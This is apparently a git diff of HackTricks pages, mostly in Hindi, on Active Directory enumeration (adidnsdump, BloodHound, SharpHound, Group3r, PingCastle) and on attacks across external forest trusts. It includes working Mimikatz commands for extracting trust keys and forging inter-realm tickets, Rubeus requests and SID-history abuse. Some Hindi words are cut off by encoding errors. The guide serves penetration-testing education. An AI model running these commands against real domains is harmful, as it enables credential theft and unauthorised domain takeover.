* [https://github.com/ShutdownRepo/pywhisker](https://github.com/ShutdownRepo/pywhisker)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# AD DNS रिकॉर्ड
# AD DNS Records
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
डिफ़ॉल्ट रूप से **किसी भी उपयोगकर्ता** को एक्टिव डायरेक्टरी में **सभी DNS रिकॉर्ड** को **सूचीबद्ध करने** की अनुमति होती है, जैसे कि ज़ोन ट्रांसफर (उपयोगकर्ता एडी परिवेश में एक DNS ज़ोन के बच्चे ऑब्जेक्ट्स की सूची बना सकते हैं)।
डिफ़ॉल्ट रूप से **किसी भी उपयोगकर्ता** को Active Directory में **डोमेन या फॉरेस्ट DNS ज़ोन में सभी DNS रिकॉर्ड** की **सूची बनाने** की अनुमति होती है, जो एक ज़ोन ट्रांसफर के समान है (उपयोगकर्ता AD वातावरण में DNS ज़ोन के बच्चे ऑब्जेक्ट्स की सूची बना सकते हैं)।
उपकरण [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) आंतरिक नेटवर्क के जासूसी के उद्देश्यों के लिए ज़ोन में **सभी DNS रिकॉर्डों** की **सूचीकरण** और **निर्यात** को संभावित बनाता है।
उपकरण [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) **आंतरिक नेटवर्क के पुनः खोज उद्देश्यों के लिए ज़ोन में **सभी DNS रिकॉर्ड** की **सूची बनाने** और **निर्यात करने** की अनुमति देता है।
```bash
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
@ -23,16 +26,19 @@ pip install .
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
cat records.csv
```
अधिक जानकारी के लिए [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/) पढ़ें
For more information read [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,22 +1,38 @@
# BloodHound और अन्य AD Enum टूल्स
# BloodHound & Other AD Enum Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AD Explorer
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) Sysinternal Suite से है:
> एक उन्नत Active Directory (AD) दर्शक और संपादक। आप AD Explorer का उपयोग करके एक AD डेटाबेस में आसानी से नेविगेट कर सकते हैं, पसंदीदा स्थानों को परिभाषित कर सकते हैं, ऑब्ज
> एक उन्नत Active Directory (AD) दर्शक और संपादक। आप AD Explorer का उपयोग AD डेटाबेस में आसानी से नेविगेट करने, पसंदीदा स्थानों को परिभाषित करने, ऑब्जेक्ट गुणों और विशेषताओं को बिना संवाद बॉक्स खोले देखने, अनुमतियों को संपादित करने, एक ऑब्जेक्ट का स्कीमा देखने, और जटिल खोजें करने के लिए कर सकते हैं जिन्हें आप सहेज सकते हैं और पुनः निष्पादित कर सकते हैं।
### Snapshots
AD Explorer एक AD के स्नैपशॉट बना सकता है ताकि आप इसे ऑफ़लाइन चेक कर सकें।\
इसे ऑफ़लाइन कमजोरियों का पता लगाने के लिए या समय के साथ AD DB के विभिन्न राज्यों की तुलना करने के लिए उपयोग किया जा सकता है।
आपको कनेक्ट करने के लिए उपयोगकर्ता नाम, पासवर्ड, और दिशा की आवश्यकता होगी (किसी भी AD उपयोगकर्ता की आवश्यकता है)।
AD का स्नैपशॉट लेने के लिए, `File` --> `Create Snapshot` पर जाएं और स्नैपशॉट के लिए एक नाम दर्ज करें।
## ADRecon
[**ADRecon**](https://github.com/adrecon/ADRecon) एक उपकरण है जो AD वातावरण से विभिन्न कलाकृतियों को निकालता और संयोजित करता है। जानकारी को एक **विशेष रूप से स्वरूपित** Microsoft Excel **रिपोर्ट** में प्रस्तुत किया जा सकता है जिसमें विश्लेषण को सुविधाजनक बनाने और लक्षित AD वातावरण की वर्तमान स्थिति का समग्र चित्र प्रदान करने के लिए मेट्रिक्स के साथ सारांश दृश्य शामिल होते हैं।
```bash
# Run it
.\ADRecon.ps1
@ -25,51 +41,50 @@
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
> BloodHound एक एकल पृष्ठ जावास्क्रिप्ट वेब एप्लिकेशन है, जो [Linkurious](http://linkurio.us/) पर निर्मित है, [Electron](http://electron.atom.io/) के ऊपर संकलित है, जिसमें एक [Neo4j](https://neo4j.com/) डेटाबेस C# डेटा कलेक्टर द्वारा पोषित है।
> BloodHound एक एकल पृष्ठ Javascript वेब एप्लिकेशन है, जो [Linkurious](http://linkurio.us/) के शीर्ष पर बनाया गया है, [Electron](http://electron.atom.io/) के साथ संकलित किया गया है, और एक [Neo4j](https://neo4j.com/) डेटाबेस है जिसे C# डेटा कलेक्टर द्वारा फीड किया गया है।
BloodHound ग्राफ सिद्धांत का उपयोग करता है ताकि एक्टिव डायरेक्टरी या एज़्यूर माहौल में छिपी हुई और अक्सर अनजान रिश्तों को प्रकट कर सके। हमलावर BloodHound का उपयोग करके आसानी से उन उच्च जटिल हमले के मार्गों की पहचान कर सकते हैं जो अन्यथा तेजी से पहचानना असंभव होगा। रक्षक BloodHound का उपयोग करके उनी हमले के मार्गों की पहचान और समाप्ति कर सकते हैं। नीला और लाल दल दोनों BloodHound का उपयोग करके एक्टिव डायरेक्टरी या एज़्यूर माहौल में विशेषाधिकार संबंधों की एक गहरी समझ प्राप्त कर सकत हैं।
BloodHound ग्राफ सिद्धांत का उपयोग करता है ताकि Active Directory या Azure वातावरण के भीतर छिपे हुए और अक्सर अनपेक्षित संबंधों को प्रकट किया जा सके। हमलावर BloodHound का उपयोग करके आसानी से अत्यधिक जटिल हमले के रास्तों की पहचान कर सकते हैं, जिन्हें अन्यथा जल्दी पहचानना असंभव होगा। रक्षक BloodHound का उपयोग करके उन ही हमले के रास्तों की पहचान और समाप्ति कर सकते हैं। दोनों नीली और लाल टीमें BloodHound का उपयोग करके Active Directory या Azure वातावरण में विशेषाधिकार संबंधों की गहरी समझ प्राप्त कर सकत हैं।
इसलिए, [Bloodhound](https://github.com/BloodHoundAD/BloodHound) एक अद्भुत उपकरण है जो एक डोमेन को स्वचालित रूप से गणना कर सकता है, सभी जानकारी को सहेज सकता है, संभावित विशेषाधिकार उन्नति मार्गों को खोज सकता है और ग्राफ का उपयोग करके सभी जानकारी को दिखा सकता है।
तो, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound) एक अद्भुत उपकरण है जो स्वचालित रूप से एक डोमेन को सूचीबद्ध कर सकता है, सभी जानकारी को सहेज सकता है, संभावित विशेषाधिकार वृद्धि के रास्तों को खोज सकता है और सभी जानकारी को ग्राफ के माध्यम से दिखा सकता है।
Bloodhound 2 मुख्य भागों से मिलकर बना है: **इनजेस्टर्स** और **विजुअलाइजेशन एप्लिकेशन**।
Booldhound 2 मुख्य भागों से बना है: **ingestors** और **visualisation application**।
**इनजेस्टर्स** का उपयोग किया जाता है **डोमेन को गणना करने और सभी जानकारी को निकालने** के लिए एक प्रारूप में जिसे विजुअलाइजेशन एप्लिकेशन समझेगा।
**ingestors** का उपयोग **डोमेन को सूचीबद्ध करने और सभी जानकारी को निकालने** के लिए किया जाता है, एक प्रारूप में जिसे दृश्यता एप्लिकेशन समझेगा।
**विजुअलाइजेशन एप्लिकेशन neo4j का उपयोग करता है** ताकि दिखाए कैसे सभी जानकारी संबंधित है और डोमेन में विशेषाधिकारों को उन्नत करने के विभिन्न तरीके दिखाए।
**visualisation application neo4j का उपयोग करता है** यह दिखाने के लिए कि सभी जानकारी कैसे संबंधित है और डोमेन में विशेषाधिकार बढ़ाने के विभिन्न तरीकों को दिखाने के लिए।
### स्थापना
BloodHound CE के निर्माण के बाद, पूरे परियोजना को उपयोग करने के लिए Docker के साथ सुविधाजनक रूप से अपडेट किया गया था। शुरू होने का सबसे आसान तरीका इसका पूर्व-कॉन्फ़िगर किया गया Docker Compose विन्यास का उपयोग करना है।
### Installation
BloodHound CE के निर्माण के बाद, पूरे प्रोजेक्ट को Docker के साथ उपयोग में आसानी के लिए अपडेट किया गया था। शुरू करने का सबसे आसान तरीका इसके पूर्व-निर्धारित Docker Compose कॉन्फ़िगरेशन का उपयोग करना है।
1. Docker Compose स्थापित करें। यह [Docker Desktop](https://www.docker.com/products/docker-desktop/) स्थापना के साथ शामिल होना चाहिए।
2. चलाएँ:
```
curl -L https://ghst.ly/getbhce | docker compose -f - up
```
3. डॉकर कॉम्पोज के टर्मिनल आउटपुट में यादृच्छिक रूप से उत्पन्न पासवर्ड का पता लगाएं।
4. ब्राउज़र में, http://localhost:8080/ui/login पर नेविगेट करें। लॉग्स से एडमिन उपयोगकर्ता नाम और यादृच्छिक रूप से उत्पन्न पासवर्ड के साथ लॉगिन करें।
3. Docker Compose के टर्मिनल आउटपुट में यादृच्छिक रूप से उत्पन्न पासवर्ड को खोजें।
4. एक ब्राउज़र में, http://localhost:8080/ui/login पर जाएं। लॉग में से यादृच्छिक रूप से उत्पन्न पासवर्ड के साथ admin उपयोगकर्ता नाम के साथ लॉगिन करें।
इसके बाद आपको यादृच्छिक रूप से उत्पन्न पासवर्ड बदलने की आवश्यकता होगी और आपके पास नया इंटरफेस तैयार हो जाएगा, जिससे आप सीधे इंजेस्टर्स डाउनलोड कर सकते हैं।
इसके बाद, आपको यादृच्छिक रूप से उत्पन्न पासवर्ड को बदलने की आवश्यकता होगी और आपके पास नया इंटरफ़ेस तैयार होगा, जिससे आप सीधे ingestors डाउनलोड कर सकते हैं।
### SharpHound
### SharpHound
उनके पास कई विकल्प हैं, लेकिन यदि आप डोमेन से जुड़े एक पीसी से SharpHound चलाना चाहते हैं, अपने वर्तमान उपयोगकर्ता का उपयोग करके सभी जानकारी निकालने के लिए आप कर सकते हैं:
उनके पास कई विकल्प हैं लेकिन यदि आप डोमेन से जुड़े पीसी से SharpHound चलाना चाहते हैं, अपने वर्तमान उपयोगकर्ता का उपयोग करके और सभी जानकारी निकालना चाहते हैं, तो आप कर सकते हैं:
```
./SharpHound.exe --CollectionMethods All
Invoke-BloodHound -CollectionMethod All
```
> आप **CollectionMethod** और लूप सत्र के बारे में अधिक पढ़ सकते हैं [यहाँ](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)
यदि आप विभिन्न क्रेडेंशियल का उपयोग करके SharpHound को निष्पादित करना चाहते हैं तो आप एक CMD netonly सत्र बना सकते हैं और वहां से SharpHound चला सकते हैं:
यदि आप विभिन्न क्रेडेंशियल का उपयोग करके SharpHound को निष्पादित करना चाहते हैं, तो आप एक CMD netonly सत्र बना सकते हैं और वहां से SharpHound चला सकते हैं:
```
runas /netonly /user:domain\user "powershell.exe -exec bypass"
```
[**आईआरईडी टीम में ब्लडहाउंड के बारे में अधिक जानें।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
[**Bloodhound के बारे में अधिक जानें ired.team पर।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
## Group3r
[**Group3r**](https://github.com/Group3r/Group3r) एक टूल है जो Active Directory से जुड़े **ग्रुप पॉलिसी** में **कमजोरियों** को खोजने के लिए है। \
आपको **किसी भी डोमेन उपयोगकर्ता** का उपयोग करके डोमेन के भीतर से **ग्रुप3र** चलाने की आवश्यकता है
[**Group3r**](https://github.com/Group3r/Group3r) एक उपकरण है जो **Active Directory** से संबंधित **Group Policy** में **vulnerabilities** खोजने के लिए है। \
आपको **group3r** को डोमेन के अंदर किसी **domain user** का उपयोग करके एक होस्ट से **चलाना** होगा
```bash
group3r.exe -f <filepath-name.log>
# -s sends results to stdin
@ -77,6 +92,21 @@ group3r.exe -f <filepath-name.log>
```
## PingCastle
[**PingCastle**](https://www.pingcastle.com/documentation/) **एडी वातावरण की सुरक्षा स्थिति का मूल्यांकन करता है** और एक अच्छ**रिपोर्ट** प्रदान करता है जिसमें ग्राफ शामिल हैं
[**PingCastle**](https://www.pingcastle.com/documentation/) **एक AD वातावरण की सुरक्षा स्थिति का मूल्यांकन करता है** और एक अच्छ**रिपोर्ट** ग्राफ के साथ प्रदान करता है
इसे चलाने के लिए, `PingCastle.exe` नामक बाइनरी को चला सकते हैं और यह एक **इंटरैक्टिव सत्र** शुरू करेगा जिसमें विकल्पों का एक मेनू प्रस्तुत किया जाएगा। उपयोग करने के लिए डिफ़ॉल्ट विकल्प **`healthcheck`** है जो **डोमेन** का एक मूल **अवलोकन** स्थापित करेगा, और **मिसकॉन्फ़िगरेशन** और **वंल्नरबिलिटीज़** खोजेगा।&#x20;
इसे चलाने के लिए, बाइनरी `PingCastle.exe` को निष्पादित करें और यह विकल्पों का एक मेनू प्रस्तुत करते हुए एक **इंटरएक्टिव सत्र** शुरू करेगा। उपयोग करने के लिए डिफ़ॉल्ट विकल्प **`healthcheck`** है जो **डोमेन** का एक आधारभूत **अवलोकन** स्थापित करेगा, और **गलत कॉन्फ़िगरेशन** और **कमजोरियों** को खोजेगा।&#x20;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# बाहरी वन वन डोमेन - एकतरफा (इनबाउंड) या द्विदिशी
# External Forest Domain - OneWay (Inbound) or bidirectional
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें!</summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
इस स्थिति में एक बाहरी डोमेन आप पर भरोसा कर रहा है (या दोनों एक-दूसरे पर भरोसा कर रहे हैं), इसलिए आपको इस पर किसी प्रकार का एक्सेस मिल सकता है
इस परिदृश्य में एक बाहरी डोमेन आप पर भरोसा कर रहा है (या दोनों एक-दूसरे पर भरोसा कर रहे हैं), इसलिए आप इसके ऊपर कुछ प्रकार की पहुंच प्राप्त कर सकते हैं
## गणना
## Enumeration
सबसे पहले, आपको **विश्वास** की **गणना** करनी होगी:
सबसे पहले, आपको **enumerate** करना होगा **trust**:
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -66,38 +69,42 @@ IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```
पिछले जांच में पाया गया कि उपयोगकर्ता **`crossuser`** **`External Admins`** समूह के अंदर है जिसके पास **एडमिन एक्सेस** है **विदेशी डोमेन के डीसी** के अंदर।
In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**.
## प्रारंभिक पहु
## प्रारंभिक पहु
यदि आपको अन्य डोमेन में अपने उपयोगकर्ता का कोई **विशेष** एक्सेस नहीं मिला, तो आप फिर से AD Methodology पर जा सकते हैं और **अनगुणा उपयोगकर्ता से प्राइविलेज इस्केलेशन** का प्रयास कर सकते हैं (उदाहरण के लिए केरबेरोस्टिंग जैसी चीजें):
यदि आप **किसी विशेष** पहुँच को अपने उपयोगकर्ता के लिए अन्य डोमेन में नहीं ढूंढ पाए, तो आप अभी भी AD पद्धति पर वापस जा सकते हैं और **एक गैर-विशिष्ट उपयोगकर्ता से प्रिवेस्क करने** की कोशिश कर सकते हैं (जैसे कि केरबेरोस्टिंग):
आप **Powerview functions** का उपयोग कर सकते हैं ताकि आप **अन्य डोमेन** का जांच कर सकें जैसे कि `-Domain` पैरामीटर का उपयोग करके:
आप **Powerview फ़ंक्शंस** का उपयोग करके `-Domain` पैरामीटर के साथ **अन्य डोमेन** को **एन्यूमरेट** कर सकते हैं जैसे:
```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
## अनुभावण
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
### लॉगिन
## impersonation
एक नियमित तरीके का उपयोग करके उन उपयोगकर्ताओं के प्रमाणपत्रों के साथ जिनके पास बाहरी डोमेन तक पहुंच है, आपको पहुंचने में सक्षम होना चाहिए:
### लॉगिन करना
बाहरी डोमेन तक पहुँच रखने वाले उपयोगकर्ताओं के क्रेडेंशियल्स के साथ एक सामान्य विधि का उपयोग करते हुए, आपको निम्नलिखित तक पहुँच प्राप्त करनी चाहिए:
```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID इतिहास दुरुपयोग
### SID इतिहास का दुरुपयोग
आप एक वन फॉरेस्ट से दूसरे फॉरेस्ट में **स्थानांतरित होने वाले एक उपयोगकर्ता** के **SID इतिहास** का दुरुपयोग भी कर सकते हैं।
आप एक वन ट्रस्ट के पार [**SID इतिहास**](sid-history-injection.md) का भी दुरुपयोग कर सकते हैं।
यदि **SID फ़िल्टरिंग सक्षम नहीं है**, तो एक उपयोगकर्ता **एक फॉरेस्ट से दूसरे फॉरेस्ट में स्थानांतरित होता है**, तो यह संभव हो जाता है कि **दूसरे फॉरेस्ट से एक SID जोड़ा जा सकता है**, और यह **SID** **उपयोगकर्ता के टोकन** में **जोड़ दिया जाएगा** जब **विश्वास** के समय **प्रमाणीकरण** किया जाए
यदि एक उपयोगकर्ता **एक वन से दूसरे वन में** स्थानांतरित किया जाता है और **SID फ़िल्टरिंग सक्षम नहीं है**, तो **दूसरे वन से एक SID जोड़ना** संभव हो जाता है, और यह **SID** **विश्वास के पार** प्रमाणीकरण करते समय **उपयोगकर्ता के टोकन** में **जोड़ा** जाएगा
{% hint style="warning" %}
एक साइनिंग कुंजी प्राप्त कर सकते हैं
याद दिलाने के लिए, आप साइनिंग कुंजी प्राप्त कर सकते हैं
```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
```
{% endhint %}
आप **विश्वसनीय** कुंजी के साथ **साइन कर सकते हैं** एक **TGT अनुकरण** करते हुए **वर्तमान डोमेन** के उपयोगकर्ता के
आप **विश्वसनीय** कुंजी के साथ एक **TGT का अनुकरण** कर सकते हैं जो वर्तमान डोमेन के उपयोगकर्ता का है
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
@ -108,7 +115,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
### पूर्ण तरीके से उपयोगकर्ता का अनुकरण
### उपयोगकर्ता का पूर्ण तरीके से अनुकरण करना
```bash
# Get a TGT of the user with cross-domain permissions
